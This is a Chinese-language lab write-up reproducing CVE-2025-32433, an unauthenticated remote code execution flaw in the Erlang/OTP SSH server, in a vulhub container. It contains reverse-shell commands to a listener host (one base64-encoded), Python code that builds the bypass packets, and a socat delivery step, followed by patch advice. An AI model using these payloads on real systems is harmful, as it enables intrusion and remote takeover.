简介
CVE-2025-32433
Erlang/OTP是一套用于Erlang编程语言的库。在OTP-27.3.3、OTP-26.2.5.11和OTP-25.3.2.20之前的版本中,SSH服务器可能允许攻击者执行未经身份验证的RCE。通过利用SSH协议消息处理中的漏洞,恶意行为者可以在没有有效凭证的情况下未经授权访问受影响的系统并执行任意命令。该问题已在OTP-27.3.3、OTP-26.2.5.11和OTP-25.3.2.20版本中修复。临时解决方法包括禁用SSH服务器或通过防火墙规则阻止访问。
Erlang 简介
Erlang是一种功能编程语言,也具有运行时环境。它的构建方式使其对并发,分发和容错功能具有集成支持,其被广泛应用于电信基础设施、消息平台、分布式数据库和物联网系统。Erlang最初是为在爱立信的多个大型电信系统中使用而开发的。
Erlang最初是爱立信内部的专有语言。它随后于1998年作为一种开放源语言发布。Erlang以及OTP(Erlang中的中间件和库的集合)现在由爱立信的OTP产品部门提供支持和维护,并被广泛称为Erlang/OTP。
参考:CVSS 10分的Erlang/OTP SSH漏洞(CVE-2025-32433)复现详细版-腾讯云开发者社区-腾讯云
搭建
Erlang/OTP 27.3.2
#vulhub
cd vulhub/erlang/CVE-2025-32433
docker-compose up -d
复现
vulhub靶场已经附带EXP了
攻击没有明确回显,常规外带手段(ping、curl、nc等)都不行,这个容器很简洁,并没有装这些工具,考虑内置的bash、sh等
尝试直接nc连接
#攻击机terminal 1
python exploit.py -t 10.97.250.136 -p 2222 -c "bash -i >& /dev/tcp/10.97.250.158/4343 0>&1"
#攻击机terminal 2
nc -lvp 4343
监听后开始攻击,但是没有成功连接
于是分步执行
python exploit.py -t 10.97.250.136 -p 2222 -c "echo 'bash -i >& /dev/tcp/10.97.250.158/4343 0>&1' > /tmp/sh"
python exploit.py -t 10.97.250.136 -p 2222 -c 'bash /tmp/sh'
或者使用base64绕过特殊字符解析
python exploit.py -t 10.97.250.136 -p 2222 -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ny4yNTAuMTU4LzQzNDMgMD4mMQ==|base64 -d|bash'
主要步骤
SSH协议版本交换
SSH协议版本交换,ssh会话起点,由此发起连接,没有发送此数据,erlang SSH服务器便拒绝处理
数据包内容
SSH-2.0-OpenSSH_8.9\r\n
密钥交换初始化
密钥交换初始化,进入密钥交换状态,在密钥交换成功后,Erlang SSH服务器没有严格检查后续消息的认证状态,因此第三步就接受了开启通道的请求
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l): return string_payload(",".join(l))
return (
b"\x14" + cookie +
name_list(["curve25519-sha256","ecdh-sha2-nistp256","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256"]) +
name_list(["rsa-sha2-256","rsa-sha2-512"]) +
name_list(["aes128-ctr"]) * 2 +
name_list(["hmac-sha1"]) * 2 +
name_list(["none"]) * 2 +
name_list([]) * 2 +
b"\x00" + struct.pack(">I", 0)
)
kex_packet = build_kexinit()
#数据填充
kex_padded = pad_packet(kex_packet)
with open('packet2.bin', 'wb') as f: f.write(kex_padded)
请求打开通道
交换完成后,发送开启通道的请求,服务器可能错误地认为已连接,通道顺利打开,绕过了认证
def build_channel_open():
return (
b"\x5a" + string_payload("session") +
struct.pack(">I", 0) + struct.pack(">I", 0x68000) + struct.pack(">I", 0x10000)
)
chan_open = build_channel_open()
chan_open_padded = pad_packet(chan_open)
with open('packet3.bin', 'wb') as f: f.write(chan_open_padded)
发送执行命令
利用通道执行命令
def pad_packet(payload):
padding_len = 8 - ((len(payload) + 5) % 8)
if padding_len < 4: padding_len += 8
return (
struct.pack(">I", len(payload) + 1 + padding_len) +
bytes([padding_len]) + payload + bytes([0] * padding_len)
)
cmd = 'bash /tmp/sh'
encoded_cmd = base64.b64encode(cmd.encode()).decode()
erlang_cmd = f'os:cmd(binary_to_list(base64:decode("{encoded_cmd}"))).'
chan_req = build_channel_request(erlang_cmd)
chan_req_padded = pad_packet(chan_req)
with open('packet4.bin', 'wb') as f: f.write(chan_req_padded)
综合步骤
由于执行时只能建立一个tcp连接,所以不能分步执行,所以使用socat建立一个tcp连接发送数据包
{
echo -ne "SSH-2.0-OpenSSH_8.9\r\n"
sleep 0.5
cat packet2.bin
sleep 0.5
cat packet3.bin
sleep 0.5
cat packet4.bin
} | socat - TCP:10.97.250.136:2222
防御
必须立即升级至以下修复版本:
- OTP-27.3.3 及更高版本
- OTP-26.2.5.11 及更高版本
- OTP-25.3.2.20 及更高版本
对于无法立即升级的环境,可临时采取以下缓解措施:
- 配置防火墙仅允许特定 IP 访问 SSH 服务
- 禁用 SSH 服务或切换至其他 SSH 实现(如 OpenSSH)
- 以最低权限运行 SSH 守护进程,限制潜在危害范围